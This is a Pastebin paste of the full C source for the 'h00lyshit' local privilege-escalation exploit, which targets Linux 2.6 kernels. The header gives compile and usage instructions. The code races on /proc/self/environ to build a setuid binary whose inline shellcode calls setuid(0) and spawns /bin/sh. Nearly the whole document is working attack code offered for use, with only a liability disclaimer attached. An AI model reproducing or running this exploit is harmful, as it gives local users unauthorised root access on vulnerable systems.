Guest User

h00lyshit localr00t exploit - www.walkwithgeeks.com

a guest
Mar 12th, 2012
298
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.96 KB | None | 0 0
  1.  
  2. /*
  3. ** Author: h00lyshit
  4. ** Vulnerable: Linux 2.6 ALL
  5. ** Type of Vulnerability: Local Race
  6. ** Tested On : various distros
  7. ** Vendor Status: unknown
  8. **
  9. ** Disclaimer:
  10. ** In no event shall the author be liable for any damages
  11. ** whatsoever arising out of or in connection with the use
  12. ** or spread of this information.
  13. ** Any use of this information is at the user's own risk.
  14. **
  15. ** Compile:
  16. ** gcc h00lyshit.c -o h00lyshit
  17. **
  18. ** Usage:
  19. ** h00lyshit <very big file on the disk>
  20. **
  21. ** Example:
  22. ** h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1
  23. **
  24. ** if y0u dont have one, make big file (~100MB) in /tmp with dd
  25. ** and try to junk the cache e.g. cat /usr/lib/* >/dev/null
  26. **
  27. */
  28.  
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31. #include <string.h>
  32. #include <unistd.h>
  33. #include <fcntl.h>
  34. #include <errno.h>
  35. #include <sched.h>
  36. #include <sys/types.h>
  37. #include <sys/stat.h>
  38. #include <sys/prctl.h>
  39. #include <sys/mman.h>
  40. #include <sys/wait.h>
  41. #include <linux/a.out.h>
  42. #include <asm/unistd.h>
  43.  
  44.  
  45. static struct exec ex;
  46. static char *e[256];
  47. static char *a[4];
  48. static char b[512];
  49. static char t[256];
  50. static volatile int *c;
  51.  
  52.  
  53. /*      h00lyshit shell code            */
  54. __asm__ ("      __excode:       call    1f                      \n"
  55.          "      1:              mov     $23, %eax               \n"
  56.          "                      xor     %ebx, %ebx              \n"
  57.          "                      int     $0x80                   \n"
  58.          "                      pop     %eax                    \n"
  59.          "                      mov     $cmd-1b, %ebx           \n"
  60.          "                      add     %eax, %ebx              \n"
  61.          "                      mov     $arg-1b, %ecx           \n"
  62.          "                      add     %eax, %ecx              \n"
  63.          "                      mov     %ebx, (%ecx)            \n"
  64.          "                      mov     %ecx, %edx              \n"
  65.          "                      add     $4, %edx                \n"
  66.          "                      mov     $11, %eax               \n"
  67.          "                      int     $0x80                   \n"
  68.          "                      mov     $1, %eax                \n"
  69.          "                      int     $0x80                   \n"
  70.          "      arg:            .quad   0x00, 0x00              \n"
  71.          "      cmd:            .string         \"/bin/sh\"     \n"
  72.          "      __excode_e:     nop                             \n"
  73.          "      .global         __excode                        \n"
  74.          "      .global         __excode_e                      \n"
  75.         );
  76.  
  77.  
  78.  
  79. extern void (*__excode) (void);
  80. extern void (*__excode_e) (void);
  81.  
  82.  
  83. void
  84. error (char *err)
  85. {
  86.   perror (err);
  87.   fflush (stderr);
  88.   exit (1);
  89. }
  90.  
  91.  
  92. /*      exploit this shit       */
  93. void
  94. exploit (char *file)
  95. {
  96.   int i, fd;
  97.   void *p;
  98.   struct stat st;
  99.  
  100.   printf ("\ntrying to exploit %s\n\n", file);
  101.   fflush (stdout);
  102.   chmod ("/proc/self/environ", 04755);
  103.   c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED |
  104. MAP_ANONYMOUS, 0, 0);
  105.   memset ((void *) c, 0, 4096);
  106.  
  107.   /*      slow down machine       */
  108.   fd = open (file, O_RDONLY);
  109.   fstat (fd, &st);
  110.   p =
  111.     (void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE,
  112. fd, 0);
  113.   if (p == MAP_FAILED)
  114.     error ("mmap");
  115.   prctl (PR_SET_DUMPABLE, 0, 0, 0, 0);
  116.   sprintf (t, "/proc/%d/environ", getpid ());
  117.   sched_yield ();
  118.   execve (NULL, a, e);
  119.   madvise (0, 0, MADV_WILLNEED);
  120.   i = fork ();
  121.  
  122.   /*      give it a try           */
  123.   if (i)
  124.     {              
  125.       (*c)++;
  126.       !madvise (p, st.st_size, MADV_WILLNEED) ? : error ("madvise");
  127.       prctl (PR_SET_DUMPABLE, 1, 0, 0, 0);
  128.       sched_yield ();  
  129.     }
  130.   else
  131.     {
  132.             nice(10);
  133.             while (!(*c));
  134.                 sched_yield ();
  135.       execve (t, a, e);
  136.       error ("failed");
  137.     }
  138.  
  139.   waitpid (i, NULL, 0);
  140.   exit (0);
  141. }
  142.  
  143.  
  144. int
  145. main (int ac, char **av)
  146. {
  147.   int i, j, k, s;
  148.   char *p;
  149.  
  150.   memset (e, 0, sizeof (e));
  151.   memset (a, 0, sizeof (a));
  152.   a[0] = strdup (av[0]);
  153.   a[1] = strdup (av[0]);
  154.   a[2] = strdup (av[1]);
  155.  
  156.   if (ac < 2)
  157.     error ("usage: binary <big file name>");
  158.   if (ac > 2)
  159.     exploit (av[2]);
  160.   printf ("\npreparing");
  161.   fflush (stdout);
  162.  
  163.   /*      make setuid a.out       */
  164.   memset (&ex, 0, sizeof (ex));
  165.   N_SET_MAGIC (ex, NMAGIC);
  166.   N_SET_MACHTYPE (ex, M_386);
  167.   s = ((unsigned) &__excode_e) - (unsigned) &__excode;
  168.   ex.a_text = s;
  169.   ex.a_syms = -(s + sizeof (ex));
  170.  
  171.   memset (b, 0, sizeof (b));
  172.   memcpy (b, &ex, sizeof (ex));
  173.   memcpy (b + sizeof (ex), &__excode, s);
  174.  
  175.   /*      make environment        */
  176.   p = b;
  177.   s += sizeof (ex);
  178.   j = 0;
  179.   for (i = k = 0; i < s; i++)
  180.     {
  181.       if (!p[i])
  182.         {
  183.           e[j++] = &p[k];
  184.           k = i + 1;
  185.         }
  186.     }
  187.  
  188.   /*      reexec                  */
  189.   getcwd (t, sizeof (t));
  190.   strcat (t, "/");
  191.   strcat (t, av[0]);
  192.   execve (t, a, e);
  193.   error ("execve");
  194.   return 0;
  195. }
Add Comment
Please, Sign In to add comment